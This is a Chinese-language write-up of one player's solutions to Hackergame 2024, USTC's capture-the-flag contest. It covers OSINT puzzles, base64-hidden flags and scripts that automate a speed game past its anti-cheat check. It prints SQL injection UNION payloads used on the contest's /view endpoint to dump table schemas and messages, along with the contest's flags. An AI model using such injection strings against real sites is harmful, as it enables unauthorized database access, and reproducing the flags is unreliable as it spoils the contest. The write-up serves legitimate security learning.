原题及题解指路
USTC-Hackergame/hackergame2024-writeups: 中国科学技术大学第十一届信息安全大赛的官方与非官方题解
签到题
方法太多了,我是模拟输入过的。
喜欢做签到的 CTFer 你们好呀
根据题目有两个 flag 就藏在中国科学技术大学校内 CTF 战队的招新主页里那就前往招新主页,发现了一个像终端的页面。先ls一下找到了Welcome-to-USTC-Nebula-s-Homepage/和and-We-are-Waiting-for-U/这两个目录,再分别ls一下发现了and-We-are-Waiting-for-U/下有.flag,但是尝试cat打开时发现没有权限。因此抓包,在这个js文件里找到了2个flag这一关键词。在第二个“flag”附近找到了这个东西atob("ZmxhZ3swa18xNzVfYV9oMWRkM25fczNjM3J0X2YxNGdfX19wbGVhc2Vfam9pbl91c191c3RjX25lYnVsYV9hbkRfdHdvX21hSm9yX3JlcXVpcmVtZW50c19hUmVfc2hvd25fc29tZXdoZXJlX2Vsc2V9"),这是一个将 base64 解码的操作,直接丢到浏览器的控制台运行得到第二个flag。
flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}回到这个js文件搜索atob,就能找到这个atob("RkxBRz1mbGFne2FjdHVhbGx5X3RoZXJlc19hbm90aGVyX2ZsYWdfaGVyZV90cllfdG9fZjFuRF8xdF95MHVyc2VsZl9fX2pvaW5fdXNfdXN0Y19uZWJ1bGF9"),重复上述解码操作得到第一个flag。
flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}猫咪问答(Hackergame 十周年纪念版)
-
官网翻看活动记录信息安全大赛 Hackergame - LUG @ USTC找到了第二届也就是2015年的存档第二届安全竞赛(存档)。比赛时间安排下面找到“ 10 月 17 日 周六晚上 19:30 3A204 网络攻防技巧讲座”。
-
翻看近几年官方wp发现ustclug/hackergame2019-writeups2019年有28题是最接近的。再翻看2019年的活动记录中国科学技术大学第六届信息安全大赛圆满结束 - LUG @ USTC就能找到”经统计,在本次比赛中,总共有 2682 人注册“。
-
直接找到2018的wpustclug/hackergame2018-writeups,翻到最下面看到花絮其他花絮就能发现:“程序员的自我修养”已经成为了图书馆本月热搜词的第一名
-
翻看论文USENIXSecurity2024-FakeBehalf-Final-Version.pdf作者在16个电子邮件服务提供商和20个客户端的组合上进行了实验,总共有 336 种组合(包括16个目标提供商的网络界面)。
-
直接找到这个commit不难发现 6e90b675cf942e50c70e8394dfb5862975c3b3b2
-
代码如下
from transformers import PreTrainedTokenizerFast path = "D:/Solution" # 这里改成你自己的目录 def read_text_from_file(file_path): with open(file_path, 'r', encoding='utf-8') as file: text = file.read() return text def count_tokens(text, tokenizer_path=f'{path}/tokenizer.json'): # tokenizer.json 要先到hf下载 tokenizer = PreTrainedTokenizerFast(tokenizer_file=tokenizer_path) tokens = tokenizer.tokenize(text) num_tokens = len(tokens) return num_tokens # 主函数if __name__ == "__main__": text_file_path = f'{path}/test.txt' # 这里的 test.txt 存储的是网页的 HTML 源代码 text = read_text_from_file(text_file_path) num_tokens = count_tokens(text) print(f"总共有 {num_tokens} 个tokens")- 要先把tokenizer.json下载下来,如果提示没有权限要先向向官方申请,过几分钟就通过了
- 然后把 HTML 源代码 存到本地
- 最后根据实际改动上面的代码,例如
path和test.txt - 事实上这题我运行出来的结果是 1834 。但是把这个数周围的都试试最后发现答案是 1833 。
最后得到两个flag:
flag{4_gØ0D_cat_1s_7H3_CA7_ωHØ_c4n_P4s$_7H3_qบIz}flag{teN_yeαrS_Oƒ_Hα©KeRG4M3_OMEd37ou_w17H_nEK0_qU12}打不开的盒
附件下载下来,搜stl在线查看打开附件。放大看盒子内部找到flag:
flag{Dr4W_Us!nG_fR3E_C4D!!w0W}旅行照片 4.0
- 1-2题
根据图片在地图搜索 科里科气科创驿站 ,找到 科里科气科创驿站(科大站) 。放大地图可以看到距离东校区西门更近。
搜索引擎搜索 科大 ACG 音乐会 找到视频发现发布时间是 2024-05-24 。紧接着查看该视频发布账号中科大LEO动漫协会在2024年5月附近发布的动态发现这一条中科大LEO动漫协会的动态,图片里能找到 20240519 。
flag{5UB5CR1B3_T0_L30_CH4N_0N_B1L1B1L1_PLZ_1af0de951a}- 3-4题
放大图片看见垃圾桶的六安,猜测拍摄地点在六安。再看图片中的跑道极具特色,进而搜索六安 跑道找到这篇文章,将文中的中央公园填入即可。
百度搜图找到图中位置应该在三峡大坝附近。搜索三峡大坝 旅游攻略找到的攻略里提到了坛子岭这一三字地点,根据题目提示三字汉字,先填进去发现这就是答案。
flag{D3T41LS_M4TT3R_1F_R3V3RS3_S34RCH_1S_1MP0SS1BL3_4deab4f814}- 5-6题
我对动车并没有很了解。根据题目提示有辆很标志性的……四编组动车,搜索四编组动车,找到了百度百科的这篇介绍CRH6F-A型动车组,里面的怀密号与图中的四编组动车一致,可知拍摄地点在北京市郊铁路怀柔—密云线上,因此第6题答案为 CRH6F-A 。
最后挨个找离怀密线最近的且名字为三个字的医院,找到了北京北动车运用所附近的北京积水潭医院(新街口院区),因此第6题答案为积水潭医院。
flag{1_C4NT_C0NT1NU3_TH3_5T0RY_4NYM0R3_50M30N3_PLZ_H3LP_6023e19b2c}比大小王
我一开始写了一个Python脚本,结果被查出来了{'message': '检测到异常提交'}
import requestsimport json initial_url = "http://202.38.93.141:12122/?token=..." # 这里改成自己的tokenbase_url = 'http://202.38.93.141:12122'headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3', 'Referer': base_url, "Content-Type": "application/json"} session = requests.Session() def get_page(url): try: response = session.get(url, headers=headers) response.raise_for_status() return response.text except requests.RequestException as e: print(f"Error accessing initial page {url}: {e}") return None def post_page(api,json): try: response = session.post(base_url+f'/{api}', headers=headers, json=json) return response.json() except requests.RequestException as e: print(f"Error accessing initial page /{api}: {e}") return None def compair(game_data): inputs = [] for value in game_data['values']: if value[0] > value[1]: inputs.append('>') elif value[0] < value[1]: inputs.append('<') else: inputs.append('=') submit_data = { "inputs": inputs } submit_json = json.dumps(submit_data) return submit_json get_page(initial_url)game_data = post_page('game',{})submit_data = post_page('submit',compair(game_data))print(submit_data)后来让AI写了个油猴脚本模拟点击,结果速度只有对手一半快
// ==UserScript==// @name 比大小王// @version 1// @description 全自动脚本// @author Aristore// @match http://202.38.93.141:12122/*// ==/UserScript== (function() { function autoAnswer() { const answerButtonLessThan = document.getElementById('less-than'); const answerButtonGreaterThan = document.getElementById('greater-than'); const value1 = document.getElementById('value1').textContent; const value2 = document.getElementById('value2').textContent; if (value1 && value2) { if (parseInt(value1) < parseInt(value2)) { answerButtonLessThan.click(); } else if (parseInt(value1) > parseInt(value2)) { answerButtonGreaterThan.click(); } } } setInterval(autoAnswer, 1);})();最后让AI转换思路写了个半自动脚本,手动在开发者工具抓包/game拿到题目数据,复制粘贴传给脚本计算好后调用接口/submit提交
// ==UserScript==// @name 比大小王// @version 2// @description 半自动脚本// @author Aristore// @match http://202.38.93.141:12122/*// ==/UserScript== (function() { 'use strict'; // 创建输入框和按钮 function createUI() { const container = document.createElement('div'); container.style.position = 'fixed'; container.style.top = '10px'; container.style.left = '10px'; container.style.backgroundColor = 'white'; container.style.padding = '10px'; container.style.border = '1px solid black'; container.style.zIndex = '10000'; const label = document.createElement('label'); label.textContent = '输入数据:'; const input = document.createElement('textarea'); input.style.width = '300px'; input.style.height = '150px'; const button = document.createElement('button'); button.textContent = '提交'; button.onclick = () => processInput(input.value); container.appendChild(label); container.appendChild(input); container.appendChild(button); document.body.appendChild(container); } // 处理输入的数据 function processInput(jsonData) { try { const data = JSON.parse(jsonData); if (data.startTime && Array.isArray(data.values)) { const inputs = computeAnswers(data.values); submitAnswers(inputs); } else { alert('输入的数据格式不正确,请确保包含 startTime 和 values 字段。'); } } catch (error) { console.error('Failed to parse JSON data:', error); alert('输入的数据不是有效的 JSON 格式。'); } } // 计算所有答案 function computeAnswers(values) { return values.map(([value1, value2]) => value1 < value2 ? '<' : '>'); } // 提交答案 function submitAnswers(inputs) { fetch('/submit', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ inputs }), }) .then(response => response.json()) .then(data => { if (data.message) { alert(data.message); } else { alert('提交成功!'); } }) .catch(error => { console.error('Failed to submit answers:', error); alert('提交失败,请刷新页面重试'); }); } // 主函数 function main() { createUI(); } // 页面加载完成后执行主函数 window.addEventListener('load', main);})();然后flag就弹出来了
flag{1-am-The-hackeR-King-0F-C0mPARInG-nUMbeR$-zo24}PaoluGPT
第一问写个脚本遍历一下就出来了
import requestsfrom bs4 import BeautifulSoupimport re base_url = "https://xxxxxx.hack-challenge.lug.ustc.edu.cn:8443" # 这里改成实际的链接initial_url = f"{base_url}/?token=..." # 这里改成自己的token # 匹配flag_pattern = re.compile(r'flag\{.*?\}') headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3', 'Referer': base_url} # 持会话状态session = requests.Session() def get_initial_page(url): try: response = session.get(url, headers=headers) response.raise_for_status() return response.text except requests.RequestException as e: print(f"Error accessing initial page {url}: {e}") return None def get_chat_links(html): soup = BeautifulSoup(html, 'html.parser') chat_links = [] for link in soup.find_all('a', href=True): if '/view?conversation_id=' in link['href']: chat_links.append(link['href']) return chat_links def fetch_and_search(url): try: response = session.get(url, headers=headers) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') # 找flag flag_match = flag_pattern.search(soup.get_text()) if flag_match: print(f"{flag_match.group(0)}") except requests.RequestException as e: print(f"Error accessing {url}: {e}") initial_html = get_initial_page(initial_url) list_url = f"{base_url}/list"list_html = get_initial_page(list_url) chat_links = get_chat_links(list_html) # 遍历聊天记录for chat_link in chat_links: url = f"{base_url}{chat_link}" fetch_and_search(url)flag{zU1_xiA0_de_11m_Pa0lule!!!_e6a8213eb7}然后把附件下载下来之后发现在/view路由中,直接将用户提供的conversation_id参数拼接到SQL查询语句中,而没有进行任何验证或转义,这可能导致SQL注入攻击。
访问http://链接/view?conversation_id=1' UNION SELECT name, NULL FROM sqlite_master WHERE type='table' --就可以获取所有表名message。
访问http://链接/view?conversation_id=1' UNION SELECT id, contents FROM messages WHERE contents LIKE '%flag%' --获取包含flag的消息,在页底同样能拿到第一个flag。
然后访问https://链接/view?conversation_id=1' UNION SELECT name, sql FROM sqlite_master WHERE type='table' AND name='messages' --就可以获取message表的所有列名CREATE TABLE messages (id text primary key, title text, contents text, shown boolean).
使用LIKE语句来搜索包含flag的内容:https://链接/view?conversation_id=1' UNION SELECT title, contents FROM messages WHERE contents LIKE '%flag%' --,在页底拿到第二个flag。
flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_83f2f8e703}惜字如金3.0
- 丢给AI还原
#!/usr/bin/python3 import atexit, base64, flask, itertools, os, re def crc(input: bytes) -> int: poly, poly_degree = 'AaaaaaAaaaAAaaaaAAAAaaaAAAaAaAAAAaAAAaaAaaAaaAaaA', 48 assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == 'A' flip = sum(['a', 'A'].index(poly[i + 1]) << i for i in range(poly_degree)) digest = (1 << poly_degree) - 1 for b in input: digest = digest ^ b for _ in range(8): digest = (digest >> 1) ^ (flip if digest & 1 == 1 else 0) return digest ^ (1 << poly_degree) - 1 def hash(input: bytes) -> bytes: digest = crc(input) u2, u1, u0 = 0xCb4EcdfD0A9F, 0xa9dec1C1b7A3, 0x60c4B0aAB4Bf assert (u2, u1, u0) == (223539323800223, 186774198532003, 106397893833919) digest = (digest * (digest * u2 + u1) + u0) % (1 << 48) return digest.to_bytes(48 // 8, 'little') def xzrj(input: bytes) -> bytes: pat, repl = rb'([B-DF-HJ-NP-TV-Z])\1*(E(?![A-Z]))?', rb'\1' return re.sub(pat, repl, input, flags=re.IGNORECASE) paths: list[bytes] = [] xzrj_bytes: bytes = bytes() with open(__file__, 'rb') as f: for row in f.read().splitlines(): row = (row.rstrip() + b' ' * 80)[:80] path = base64.b85encode(hash(row)) + b'.txt' with open(path, 'wb') as pf: pf.write(row) paths.append(path) xzrj_bytes += xzrj(row) + b'\r\n' def clean(): for path in paths: try: os.remove(path) except FileNotFoundError: pass atexit.register(clean) bp: flask.Blueprint = flask.Blueprint('answer_a', __name__) @bp.get('/answer_a.py') def get() -> flask.Response: return flask.Response(xzrj_bytes, content_type='text/plain; charset=UTF-8') @bp.post('/answer_a.py') def post() -> flask.Response: wrong_hints = {} req_lines = flask.request.get_data().splitlines() iter = enumerate(itertools.zip_longest(paths, req_lines), start=1) for index, (path, req_row) in iter: if path is None: wrong_hints[index] = 'Too many lines for request data' break if req_row is None: wrong_hints[index] = 'Too few lines for request data' continue req_row_hash = hash(req_row) req_row_path = base64.b85encode(req_row_hash) + b'.txt' if not os.path.exists(req_row_path): wrong_hints[index] = f'Unmatched hash ({req_row_hash.hex()})' continue with open(req_row_path, 'rb') as pf: row = pf.read() if len(req_row) != len(row): wrong_hints[index] = f'Unmatched length ({len(req_row)})' continue unmatched = [req_b for b, req_b in zip(row, req_row) if b != req_b] if unmatched: wrong_hints[index] = f'Unmatched data (0x{unmatched[-1]:02X})' continue if path != req_row_path: wrong_hints[index] = f'Matched but in other lines' continue if wrong_hints: return {'wrong_hints': wrong_hints}, 400 with open('answer_a.txt', 'rb') as af: answer_flag = base64.b85decode(af.read()).decode() closing, opening = answer_flag[-1:], answer_flag[:5] assert closing == '}' and opening == 'flag{' return {'answer_flag': answer_flag}, 200 - 先是像第1问一样解,到最后发现第7行的变量
poly不知道要怎么解然后就不会了
#!/usr/bin/python3 import atexit, base64, flask, itertools, os, re def crc(input: bytes) -> int: poly, poly_degree = '', 48 assert len(poly) == poly_degree + 1 and poly[0] == poly[poly_degree] == 'B' flip = sum(['b', 'B'].index(poly[i + 1]) << i for i in range(poly_degree)) digest = (1 << poly_degree) - 1 for b in input: digest = digest ^ b for _ in range(8): digest = (digest >> 1) ^ (flip if digest & 1 == 1 else 0) return digest ^ (1 << poly_degree) - 1 def hash(input: bytes) -> bytes: digest = crc(input) u2, u1, u0 = 0xdbeEaed4cF43, 0xFDFECeBdeeD9, 0xB7E85A4E5Dcd assert (u2, u1, u0) == (241818181881667, 279270832074457, 202208575380941) digest = (digest * (digest * u2 + u1) + u0) % (1 << 48) return digest.to_bytes(48 // 8, 'little') def xzrj(input: bytes) -> bytes: pat, repl = rb'([B-DF-HJ-NP-TV-Z])\1*(E(?![A-Z]))?', rb'\1' return re.sub(pat, repl, input, flags=re.IGNORECASE) paths: list[bytes] = [] xzrj_bytes: bytes = bytes() with open(__file__, 'rb') as f: for row in f.read().splitlines(): row = (row.rstrip() + b' ' * 80)[:80] path = base64.b85encode(hash(row)) + b'.txt' with open(path, 'wb') as pf: pf.write(row) paths.append(path) xzrj_bytes += xzrj(row) + b'\r\n' def clean(): for path in paths: try: os.remove(path) except FileNotFoundError: pass atexit.register(clean) bp: flask.Blueprint = flask.Blueprint('answer_b', __name__) @bp.get('/answer_b.py') def get() -> flask.Response: return flask.Response(xzrj_bytes, content_type='text/plain; charset=UTF-8') @bp.post('/answer_b.py') def post() -> flask.Response: wrong_hints = {} req_lines = flask.request.get_data().splitlines() iter = enumerate(itertools.zip_longest(paths, req_lines), start=1) for index, (path, req_row) in iter: if path is None: wrong_hints[index] = 'Too many lines for request data' break if req_row is None: wrong_hints[index] = 'Too few lines for request data' continue req_row_hash = hash(req_row) req_row_path = base64.b85encode(req_row_hash) + b'.txt' if not os.path.exists(req_row_path): wrong_hints[index] = f'Unmatched hash ({req_row_hash.hex()})' continue with open(req_row_path, 'rb') as pf: row = pf.read() if len(req_row) != len(row): wrong_hints[index] = f'Unmatched length ({len(req_row)})' continue unmatched = [req_b for b, req_b in zip(row, req_row) if b != req_b] if unmatched: wrong_hints[index] = f'Unmatched data (0x{unmatched[-1]:02X})' continue if path != req_row_path: wrong_hints[index] = f'Matched but in other lines' continue if wrong_hints: return {'wrong_hints': wrong_hints}, 400 with open('answer_b.txt', 'rb') as af: answer_flag = base64.b85decode(af.read()).decode() closing, opening = answer_flag[-1:], answer_flag[:5] assert closing == '}' and opening == 'flag{' return {'answer_flag': answer_flag}, 200 后记
本人是CTF新人,在几天前的强网杯被虐得不轻,没解出来一道,深受打击😰。偶然刷到Hackergame,发现活动还没结束遂果断参加(竟然有我能解出来的题我真的好感动😭😭😭)。明年有时间的话还来打 Hackergame😋。
没有图是因为懒